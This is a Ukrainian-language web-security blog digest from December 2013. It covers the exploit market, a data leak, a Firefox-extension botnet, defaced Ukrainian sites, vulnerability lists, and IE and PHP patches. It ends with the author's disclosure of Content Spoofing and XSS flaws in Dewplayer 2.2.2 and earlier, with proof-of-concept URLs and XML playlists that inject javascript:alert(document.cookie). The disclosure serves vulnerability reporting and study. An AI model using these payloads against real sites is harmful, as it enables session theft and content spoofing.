Websecurity - Веб безпека

За повідомленням www.xakep.ru, огляд ринку 0day-експлоітів.

Останнім часом ринок 0day-експлоітів став об’єктом суспільного інтересу. Хоча найбільші ІТ-компанії почали платити хакерам за виявлення уразливостей у своїх продуктах, але на чорному ринку експлоіти можна продати набагато дорожче. Про цей чорний ринок відомо небагато, тому компанія NSS Labs провела дослідження.

Причому компанія переважно розповіла та навела статистику публічного ринку експлоітів. А про чорний ринок лише зробила деякі припущення.

За повідомленням www.facebook.com, витік інформації на сайті Укрзалізниці.

Наслідки витоку інформації можуть бути сумними. Контент-редактора сайта Укрзалізниці було звільнено, після того як на сайті оприлюднили інформацію (причому приблизну) про кількість потягів з мітингувальниками на Антимадайн. Яких влада привезла у Київ для акції на свою підтримку. Коли ця інформація була оприлюднена на Facebook активістами Євромайдану і про це стало відомо керівництву Укрзалізниці, даного працівника звільнили.

Тому в наших реаліях навіть така незначна інформація для влади може вважатися конфіденційною. Так що окрім DDoS атак, грудень виявився насиченим в Україні в контексті ІБ.

За повідомленням www.xakep.ru, ботнет використовує Fіrefox для взлому сайтів.

Був виявлений дуже незвичний ботнет. Шкідлива програма поширювалася під виглядом розширення для Firefox. За півроку з травня 2013 розширення встановили як мінімум 12500 разів, якщо вірити скріншоту адміністративної панелі.

Після встановлення програма намагалася здійснити SQL-ін’єкції практично на всіх сайтах, що відвідував користувач. Надалі зловмисники використовували заражені сайти для атак типу drive-by, тобто для подальшого збільшення армії ботів.

Стосовно шкідливого коду під виглядом розширення для Firefox я вже писав раніше. Але це перший випадок, коли така malware використовувалася для пошуку уразливостей на сайтах.

Продовжуючи розпочату традицію, після попереднього відео про виконання коду в Internet Explorer, пропоную нове відео на веб секюріті тематику. Цього разу відео про виконання коду в Google Chrome. Рекомендую подивитися всім хто цікавиться цією темою.

Google Chrome Web Browser 0Day Download & Run

В даному відео ролику демонструється віддалене виконання коду в Google Chrome 31. Використовується експлоіт для проведення атаки на нову уразливість в Chrome при відкритті сторінки з кодом експлоіту. Що дозволяє нападнику отримати контроль над атакованим комп’ютером.

Атака відбувається при відвідуванні в Chrome спеціально створеного веб сайта, що містить код експлоіту. Рекомендую подивитися дане відео для розуміння векторів атак на браузери.

Після попереднього дослідження похаканих сайтів, приведу нову інформацію про взломані сайти. З числа українських сайтів.

• http://brovary-region.gov.ua (хакерами з clash hackrz) - 09.12.2013 - похаканий державний сайт, зараз сайт вже виправлений адмінами
• http://comp-ok.com.ua (хакером Cellatreis)
• http://tower.net.ua (хакером dr.m1st3r) - 16.12.2013, зараз сайт вже виправлений адмінами
• http://ravenna.com.ua (хакером VipEr)
• http://www.buller.net.ua (хакерами з 1923Turk Grup)

В даній добірці експлоіти в веб додатках:

• TP-Link TD-8840t - CSRF Vulnerability (деталі)
• Cisco DPR2320R2 - Multiple CSRF Vulnerabilities (деталі)
• TVT TD-2308SS-B DVR - Directory Traversal Vulnerability (деталі)
• VICIdial Manager Send OS Command Injection Vulnerability (деталі)
• Symantec Altiris DS SQL Injection Exploit (деталі)

Продовжуючи тему уразливостей в плагінах для WordPress, пропоную вам інформацію про дірки в інших плагінах для WP.

Цього разу повідомляю про уразливості в плагінах Videowall, dhtmlxSpreadsheet та WPLocalPlaces. Для котрих з’явилися експлоіти. Videowall - це плагін для розміщення списку відео, dhtmlxSpreadsheet - це плагін для розміщення таблиць, WPLocalPlaces - це плагін.

• WordPress Videowall Cross Site Scripting (деталі)
• WordPress dhtmlxspreadsheet Cross Site Scripting (деталі)
• WordPress WPLocalPlaces Shell Upload (деталі)

Користувачам даних плагінів варто або оновити їх, або власноруч виправити дірки. В якості тимчасового рішення, поки не будуть виправлені чи оновлені плагіни, можна їх виключити в адмінці.

Виявлені численні уразливості безпеки в Microsoft Internet Explorer.

Уразливі продукти: Microsoft Internet Explorer 6, 7, 8, 9, 10, 11 під Windows XP, Windows 2003 Server, Windows Vista, Windows 2008 Server, Windows 7, Windows 8, Windows 2012 Server, Windows 8.1.

Численні пошкодження пам’яті і підвищення привілеїв.

• Microsoft Security Bulletin MS13-097 - Critical Cumulative Security Update for Internet Explorer (2898785) (деталі)

Нещодавно, 12 грудня, вийшли PHP 5.3.28, 5.4.23 і 5.5.7. У версії 5.3.28 виправлено дві уразливості, у версії 5.4.23 виправлено біля 10 багів та одна уразливість, а у версії 5.5.7 виправлено декілька багів та одна уразливість. Дані релізи направлені на покращення стабільності та безпеки гілок 5.3.x, 5.4.x і 5.5.x.

У PHP 5.3.28 виправлено:

• Дві уразливості в модулі OpenSSL (CVE-2013-4073 і CVE-2013-6420).

У PHP 5.4.23 і PHP 5.5.7 виправлено:

• Уразливість в модулі OpenSSL (CVE-2013-6420).

По матеріалам http://www.php.net.

В даній добірці уразливості в веб додатках:

• HP Service Manager, Remote Disclosure of Information, Cross Site Scripting (XSS) (деталі)
• Zenphoto 1.4.5.2 multiple vulnerabilities (деталі)
• SQL injection vulnerability in Zabbix (деталі)
• Vanilla Forums <= 2.0.18.5 (class.utilitycontroller.php) PHP Object Injection Vulnerability (деталі)
• IcedTea-Web vulnerabilities (деталі)

25.10.2013

У лютому, 02.02.2013, я виявив Content Spoofing та Cross-Site Scripting уразливості в Dewplayer. Про що найближчим часом повідомлю розробникам веб додатку.

Детальна інформація про уразливості з’явиться пізніше.

19.12.2013

Content Spoofing (Content Injection) (WASC-12):

http://site/dewplayer.swf?mp3=1.mp3
http://site/dewplayer.swf?file=1.mp3
http://site/dewplayer.swf?sound=1.mp3
http://site/dewplayer.swf?son=1.mp3

Це для старих версій плеєра. У версіях Dewplayer 2.x з цих 4 варіантів є тільки mp3.

Content Spoofing (Content Injection) (WASC-12):

http://site/dewplayer.swf?xml=1.xml

1.xml

<playlist version="1">
<trackList>
<track>
<location>http://site/1.mp3</location>
<creator/>
<album/>
<title>Music</title>
<annotation/>
<duration/>
<image/>
<info/>
<link/>
</track>
</trackList>
</playlist>

2.xml (з зображенням)

<playlist version="1">
<trackList>
<track>
<location>http://site/1.mp3</location>
<creator/>
<album/>
<title>Music</title>
<annotation/>
<duration/>
<image>http://site/1.jpg</image>
<info/>
<link/>
</track>
</trackList>
</playlist>

XSS (WASC-08):

http://site/dewplayer-vinyl.swf?xml=xss.xml
http://site/dewplayer-vinyl-en.swf?xml=xss.xml

xss.xml

<playlist version="1">
<trackList>
<track>
<location>javascript:alert(document.cookie)</location>
<title>XSS</title>
</track>
</trackList>
</playlist>

http://site/dewplayer-vinyl.swf?xml=xss2.xml
http://site/dewplayer-vinyl-en.swf?xml=xss2.xml

xss2.xml

<playlist version="1">
<trackList>
<track>
<location>1.mp3</location>
<title>XSS</title>
<link>javascript:alert(document.cookie)</link>
</track>
</trackList>
</playlist>

Уразливі Dewplayer 2.2.2 та попередні версії.

Виявлена можливість виконання коду в HTTP::Body.

Уразливі продукти: HTTP::Body 1.17 модуль для Perl.

Небезпечна робота з тимчасовими файлами.

• libhttp-body-perl security update (деталі)